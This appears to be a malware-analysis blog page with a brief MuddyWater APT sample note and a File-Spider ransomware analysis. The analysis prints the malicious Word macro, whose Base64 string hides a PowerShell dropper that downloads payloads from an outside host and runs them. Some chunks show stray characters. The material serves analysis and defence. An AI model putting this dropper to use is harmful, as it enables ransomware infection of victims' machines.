A new MuddyWater APT campaign spreads Backdoor RAT

Fri, 11 Jan 2019 22:00:00 +0530

MuddyWater is an APT group that has been active throughout 2017, targeting victims in the Middle East with in-memory vectors leveraging PowerShell.

In October 2018, Kaspersky Lab published a good analysis report on the malware by this APT group.

Here I am publishing my analysis report on recent malware by this APT group which targeted several parts of the Middle East.

Sample - 8899c0dac9f6bb73ce750ae7b3250dbd (Virustotal)

References :

https://www.vmray.com/analyses/c873532e009f/report/overview.html

https://twitter.com/360TIC/status/1081080752438009856

https://www.virustotal.com/#/file/c873532e009f2fc7d3b111636f3bbaa307465e5a99a7f4386bebff2ef8a37a20/detection

The document has obfuscated macro code which contains encrypted binary data. On execution, it decrypts the data, drops files and executes them.

Analysis of File-Spider Ransomware

Mon, 11 Dec 2017 23:14:00 +0530

MD5: de7b31517d5963aefe70860d83ce83b9 [VirusTotal]
FileName: BAYER_CROPSCIENCE_OFFICE_BEOGRAD_93876.doc
FileType: MS Word Document

The Word file has an embedded macro.
When you look into the macro code, you will find the below snippet.

Private Function decodeBase64(ByVal strData As String) As Byte()
    Dim objXML As MSXML2.DOMDocument
    Dim objNode As MSXML2.IXMLDOMElement
    
    Set objXML = New MSXML2.DOMDocument
    Set objNode = objXML.createElement("b64")
    objNode.dataType = "bin.base64"
    objNode.Text = strData
    decodeBase64 = objNode.nodeTypedValue
    
    Set objNode = Nothing
    Set objXML = Nothing
End Function

Private Function str() As String

str = "cG93ZXJzaGVsbC5leGUgLXdpbmRvd3N0eWxlIGhpZGRlbiAkZGlyID0gW0Vudmlyb25tZW50XTo6R2V0Rm9sZGVyUGF0aCgnQXBwbGljYXRpb25EYXRhJykgKyAnXFNwaWRlcic7JGVuYyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjg7ZnVuY3Rpb24geG9yIHtwYXJhbSgkc3RyaW5nLCAkbWV0aG9kK"
str = str + "SR4b3JrZXkgPSAkZW5jLkdldEJ5dGVzKCdBbGJlclRJJyk7JHN0cmluZyA9ICRlbmMuR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJHN0cmluZykpOyRieXRlU3RyaW5nID0gJGVuYy5HZXRCeXRlcygkc3RyaW5nKTskeG9yZERhdGEgPSAkKGZvciAoJGkgPSAwOyAkaSAtbH"
str = str + "QgJGJ5dGVTdHJpbmcubGVuZ3RoKXtmb3IoJGogPSAwOyAkaiAtbHQgJHhvcmtleS5sZW5ndGg7ICRqKyspeyRieXRlU3RyaW5nWyRpXSAtYnhvciAkeG9ya2V5WyRqXTskaSsrO2lmKCRpIC1nZSAkYnl0ZVN0cmluZy5MZW5ndGgpeyRqID0gJHhvcmtleS5sZW5ndGh9fX0pOyR4b3JkRGF0YSA9ICRlbmMuR2V"
str = str + "0 U3RyaW5nKCR4b3JkRGF0YSk7cmV0dXJuICR4b3JkRGF0YX07ZnVuY3Rpb24gZGF0YSB7cGFyYW0oJG1ldGhvZCkkd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDsgaWYgKCRtZXRob2QgLWVxICdkJyl7JGlucHV0ID0gJHdlYkNsaWVudC5Eb3dubG9hZFN0cmluZygnaHR0cDov"
str = str + "L3lvdXJqYXZhc2NyaXB0LmNvbS81MTE4NjMxNDc3L2phdmFzY3JpcHQtZGVjLTItMjUtMi5qcycpfWVsc2V7JGlucHV0ID0gJHdlYkNsaWVudC5Eb3dubG9hZFN0cmluZygnaHR0cDovL3lvdXJqYXZhc2NyaXB0LmNvbS81MzEwMzIwMTI3Ny9qYXZhc2NyaXB0LWVuYy0xLTAtOS5qcycpfSRieXRlcyA9IFtDb"
str = str + "252 ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyggKHhvciAkaW5wdXQgJ2QnKSApO3JldHVybiAgJGJ5dGVzfTtmdW5jdGlvbiBpbyB7cGFyYW0oJG1ldGhvZClpZigkbWV0aG9kIC1lcSAnZCcpeyRmaWxlbmFtZSA9ICRkaXIgKyAnXGRlYy5leGUnfWVsc2V7JGZpbGVuYW1lID0gJGRpciArICdcZW5jLmV4ZSd9W0"
str = str + "lPLkZpbGVdOjpXcml0ZUFsbEJ5dGVzKCRmaWxlbmFtZSwgKGRhdGEgJG1ldGhvZCkpfTtmdW5jdGlvbiBydW4ge3BhcmFtKCRtZXRob2QpaWYgKCRtZXRob2QgLWVxICdkJyl7aW8gJ2QnOyBIC1GaWxlUGF0aCAoJGRpciArICdcZGVjLmV4ZScpIC1Bcmd1bWVudExpc3QgJ3NwaWRlcid"
str = str + "9ZWxzZXtpbyAnZSc7IFN0YXJ0LVByb2Nlc3MgLUZpbGVQYXRoICgkZGlyICsgJ1xlbmMuZXhlJykgLUFyZ3VtZW50TGlzdCAnc3BpZGVyJywgJ2t0bicsICcxMDAnfX07aWYoIFRlc3QtUGF0aCAkZGlyKXt9ZWxzZXttZCAkZGlyOyBydW4gJ2QnOyBydW4gJ2UnIH0="

str = StrConv(decodeBase64(str), vbUnicode)

End Function

After Base64 decoding, we will get the following PowerShell script.

MS Word on Melted in Hex

A new MuddyWater APT campaign spreads Backdoor RAT

Analysis of File-Spider Ransomware